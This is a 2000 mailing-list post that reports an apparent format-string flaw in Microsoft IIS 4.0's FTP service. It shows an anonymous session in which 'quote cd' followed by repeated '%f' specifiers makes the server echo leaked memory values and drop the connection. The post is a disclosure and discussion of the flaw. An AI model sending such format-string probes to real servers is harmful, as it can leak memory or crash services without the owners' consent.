Vulnerability Development mailing list archives

iis (ftp) 4.0


From: Guilherme Mesquita <guy () LINUXBR COM BR>
Date: Sun, 30 Jul 2000 09:45:52 -0300

hey doods take a look at this:

bash-2.03$ ftp xxx.xxx.microsoft.com
Connected to xxx.xxx.microsoft.com
220 mickeysoft Microsoft FTP Service (Version 4.0).
Name (xxx.xxx.microsoft.com:guy): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 Anonymous user logged in.
Remote system type is Windows_NT.

ftp> quote cd
%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f
%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f
%f%f
%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f
%f%f
%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f
%f%f
%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f
%f%f
%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f
---> cd
-1.998074nan-1.9859430.0000000.0000000.0000000.0000000.0000000.0000000.0
000000.0000000.0000000.0000000.0000000.0000000.0000000.0000000.0000000.00000
00.0
000000.0000000.0000000.0000000.0000000.0000000.0000000.0000000.0000000.00000
00.0
000000.0000000.0000000.0000000.0000000.0000000.0000000.0000000.0000000.00000
00.0
000000.0000000.0000000.0000000.0000000.0000000.0000000.0000000.0000000.00000
00.0
000000.0000000.0000000.0000000.0000000.0000000.0000000.0000000.0000000.00000
07.4
42459-1.9925080.000000868166727392013871676461973346432443537388781070233202
8541
3224700329970806498106006999660067371272473972287426375735402492663674631417
0301
7966409811086553877871540169584015833677848100354679267638037883343087572268
5103
4425372636072254092181766144.000000-1.9864577.330009-1.9867567.4424593026459
6817
1566881774607378295042766986668520653920746971937702474133136263413465766913
1456
7983057089185932526751051893692371022508811734061945452276097368277402561850
9710
4551045939958062901806482289324611819417821378078093225307678455013102407273
9522
38961588483129344.0000004651752865485175424489291826838052320684663402268111
9172
2343614587427949282183336279545305710394833882056751279663417668733585513958
6589
3389880296099612867387038073632042600167414774069191595008196608.000000-1.98
6652
7.2852032.1433197.2794500.0000000.0000000.0000000.0000000.0000000.0000007.28
5202
2.0011602.0030212.1451420.000000-1.9865840.000000-1.9866943.0045860.0000000.
0000
000.0000000.0000000.0000000.0000000.0000000.000000-1.9866980.0000000.0000007
.442
460-1.9925377.443452-1.9877367.442460-1.992537-1.987736-1.9867567.442462-1.9
8945
80.0000003816919854626798065710866433348941294135600604219536963740360101346
2056
8645398938411243068906051058836415368090754843142602018859632744607067292251
5804
335042984791148824632886296576.000000239107645035583278099685856794904753528
3246
8464052851124459615208015154244962826718391983697229671233994731356751671202
1806
5998040034697184883790975751104413053677536068731688905381571860921116618563
5988
37961378162465810754104398921686249897984.0000009698684256046497083305254555
9147
9826057996291542736055875031282756754174163899577089879632661315329702437740
9072
7079851256056716219867038716341971572748978362465718632874125153636183761962
9995
526919895562998186026713362755030325207280732078080.0000000.0000000.0000000.
0000
000.0000000.0000000.0000000.0000000.0000000.0000000.0000000.0000000.0000000.
0000
000.0000000.0000000.0000000.0000000.0000000.0000000.0000000.0000000.0000000.
0000
000.0000000.0000000.0000000.0000000.0000000.0000000.0000000.0000000.0000000.
0000
000.0000000.0000000.0000000.0000000.0000000.0000000.0000000.0000000.0000000.
0000
000.0000000.0000000.0000000.0000000.0000000.000000-1.987362-1.9873707.285600
2.14
33197.2809140.0000000.0000000.0000000.0000000.0000000.0000007.2724767.277908
7.27
87630.0000000.000000-1.9873010.000000-1.9874127.2779090.0000000.0000000.0000
000.
0000000.0000000.0000000.000000-1.987408-1.9874160.0000007.330860-1.9874380.0
0000
00.000000-1.9877100.000000-1.988768-1.987710-1.9874650.000000-1.9876677.2855
622.
1433197.2843637.2855622.1433197.2792860.0000000.0000000.0000000.0000007.2740
027.
2787630.0000000.000000-1.9875985.4623583.6117480.0000003.494735
421 Service not available, remote server has closed connection
ftp>

I tought it was very weird and also I couldnt state if the ftpd really
coredump.. but I know it stays at least up because I can reconnect to
the host. I have a theory that it core-dumps because of the client, and not
because of the server itself...

If anyone has any info about this... lemme know.

--
----
Guilherme Mesquita
UIN#5864338
guy () linuxbr com br
----
Linux is Luke.
FreeBSD is Yoda.
---


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